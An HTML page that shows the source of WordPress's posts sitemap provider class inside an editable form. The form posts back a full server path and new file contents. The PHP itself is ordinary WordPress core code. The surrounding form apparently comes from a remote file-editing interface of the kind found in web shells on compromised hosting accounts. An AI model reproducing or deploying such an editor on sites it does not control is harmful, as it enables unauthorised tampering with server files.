<h2>File Contents: /home/planet5/public_html/4xpips.net/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/4xpips.net/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Sitemaps: WP_Sitemaps_Posts class
 *
 * Builds the sitemaps for the &#039;post&#039; object type.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Posts XML sitemap provider.
 *
 * @since 5.5.0
 */
class WP_Sitemaps_Posts extends WP_Sitemaps_Provider {
	/**
	 * WP_Sitemaps_Posts constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this-&gt;name        = &#039;posts&#039;;
		$this-&gt;object_type = &#039;post&#039;;
	}

	/**
	 * Returns the public post types, which excludes nav_items and similar types.
	 * Attachments are also excluded. This includes custom post types with public = true.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_Post_Type[] Array of registered post type objects keyed by their name.
	 */
	public function get_object_subtypes() {
		$post_types = get_post_types( array( &#039;public&#039; =&gt; true ), &#039;objects&#039; );
		unset( $post_types[&#039;attachment&#039;] );

		$post_types = array_filter( $post_types, &#039;is_post_type_viewable&#039; );

		/**
		 * Filters the list of post object sub types available within the sitemap.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_Post_Type[] $post_types Array of registered post type objects keyed by their name.
		 */
		return apply_filters( &#039;wp_sitemaps_post_types&#039;, $post_types );
	}

	/**
	 * Gets a URL list for a post type sitemap.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$post_type` to `$object_subtype` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @param int    $page_num       Page of results.
	 * @param string $object_subtype Optional. Post type name. Default empty.
	 *
	 * @return array[] Array of URL information for a sitemap.
	 */
	public function get_url_list( $page_num, $object_subtype = &#039;&#039; ) {
		// Restores the more descriptive, specific name for use within this method.
		$post_type = $object_subtype;

		// Bail early if the queried post type is not supported.
		$supported_types = $this-&gt;get_object_subtypes();

		if ( ! isset( $supported_types[ $post_type ] ) ) {
			return array();
		}

		/**
		 * Filters the posts URL list before it is generated.
		 *
		 * Returning a non-null value will effectively short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param array[]|null $url_list  The URL list. Default null.
		 * @param string       $post_type Post type name.
		 * @param int          $page_num  Page of results.
		 */
		$url_list = apply_filters(
			&#039;wp_sitemaps_posts_pre_url_list&#039;,
			null,
			$post_type,
			$page_num
		);

		if ( null !== $url_list ) {
			return $url_list;
		}

		$args          = $this-&gt;get_posts_query_args( $post_type );
		$args[&#039;paged&#039;] = $page_num;

		$query = new WP_Query( $args );

		$url_list = array();

		/*
		 * Add a URL for the homepage in the pages sitemap.
		 * Shows only on the first page if the reading settings are set to display latest posts.
		 */
		if ( &#039;page&#039; === $post_type &amp;&amp; 1 === $page_num &amp;&amp; &#039;posts&#039; === get_option( &#039;show_on_front&#039; ) ) {
			// Extract the data needed for home URL to add to the array.
			$sitemap_entry = array(
				&#039;loc&#039; =&gt; home_url( &#039;/&#039; ),
			);

			/**
			 * Filters the sitemap entry for the home page when the &#039;show_on_front&#039; option equals &#039;posts&#039;.
			 *
			 * @since 5.5.0
			 *
			 * @param array $sitemap_entry Sitemap entry for the home page.
			 */
			$sitemap_entry = apply_filters( &#039;wp_sitemaps_posts_show_on_front_entry&#039;, $sitemap_entry );
			$url_list[]    = $sitemap_entry;
		}

		foreach ( $query-&gt;posts as $post ) {
			$sitemap_entry = array(
				&#039;loc&#039; =&gt; get_permalink( $post ),
			);

			/**
			 * Filters the sitemap entry for an individual post.
			 *
			 * @since 5.5.0
			 *
			 * @param array   $sitemap_entry Sitemap entry for the post.
			 * @param WP_Post $post          Post object.
			 * @param string  $post_type     Name of the post_type.
			 */
			$sitemap_entry = apply_filters( &#039;wp_sitemaps_posts_entry&#039;, $sitemap_entry, $post, $post_type );
			$url_list[]    = $sitemap_entry;
		}

		return $url_list;
	}

	/**
	 * Gets the max number of pages available for the object type.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$post_type` to `$object_subtype` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @param string $object_subtype Optional. Post type name. Default empty.
	 * @return int Total number of pages.
	 */
	public function get_max_num_pages( $object_subtype = &#039;&#039; ) {
		if ( empty( $object_subtype ) ) {
			return 0;
		}

		// Restores the more descriptive, specific name for use within this method.
		$post_type = $object_subtype;

		/**
		 * Filters the max number of pages before it is generated.
		 *
		 * Passing a non-null value will short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param int|null $max_num_pages The maximum number of pages. Default null.
		 * @param string   $post_type     Post type name.
		 */
		$max_num_pages = apply_filters( &#039;wp_sitemaps_posts_pre_max_num_pages&#039;, null, $post_type );

		if ( null !== $max_num_pages ) {
			return $max_num_pages;
		}

		$args                  = $this-&gt;get_posts_query_args( $post_type );
		$args[&#039;fields&#039;]        = &#039;ids&#039;;
		$args[&#039;no_found_rows&#039;] = false;

		$query = new WP_Query( $args );

		$min_num_pages = ( &#039;page&#039; === $post_type &amp;&amp; &#039;posts&#039; === get_option( &#039;show_on_front&#039; ) ) ? 1 : 0;
		return isset( $query-&gt;max_num_pages ) ? max( $min_num_pages, $query-&gt;max_num_pages ) : 1;
	}

	/**
	 * Returns the query args for retrieving posts to list in the sitemap.
	 *
	 * @since 5.5.0
	 * @since 6.1.0 Added `ignore_sticky_posts` default parameter.
	 *
	 * @param string $post_type Post type name.
	 * @return array Array of WP_Query arguments.
	 */
	protected function get_posts_query_args( $post_type ) {
		/**
		 * Filters the query arguments for post type sitemap queries.
		 *
		 * @see WP_Query for a full list of arguments.
		 *
		 * @since 5.5.0
		 * @since 6.1.0 Added `ignore_sticky_posts` default parameter.
		 *
		 * @param array  $args      Array of WP_Query arguments.
		 * @param string $post_type Post type name.
		 */
		$args = apply_filters(
			&#039;wp_sitemaps_posts_query_args&#039;,
			array(
				&#039;orderby&#039;                =&gt; &#039;ID&#039;,
				&#039;order&#039;                  =&gt; &#039;ASC&#039;,
				&#039;post_type&#039;              =&gt; $post_type,
				&#039;posts_per_page&#039;         =&gt; wp_sitemaps_get_max_urls( $this-&gt;object_type ),
				&#039;post_status&#039;            =&gt; array( &#039;publish&#039; ),
				&#039;no_found_rows&#039;          =&gt; true,
				&#039;update_post_term_cache&#039; =&gt; false,
				&#039;update_post_meta_cache&#039; =&gt; false,
				&#039;ignore_sticky_posts&#039;    =&gt; true, // Sticky posts will still appear, but they won&#039;t be moved to the front.
			),
			$post_type
		);

		return $args;
	}
}
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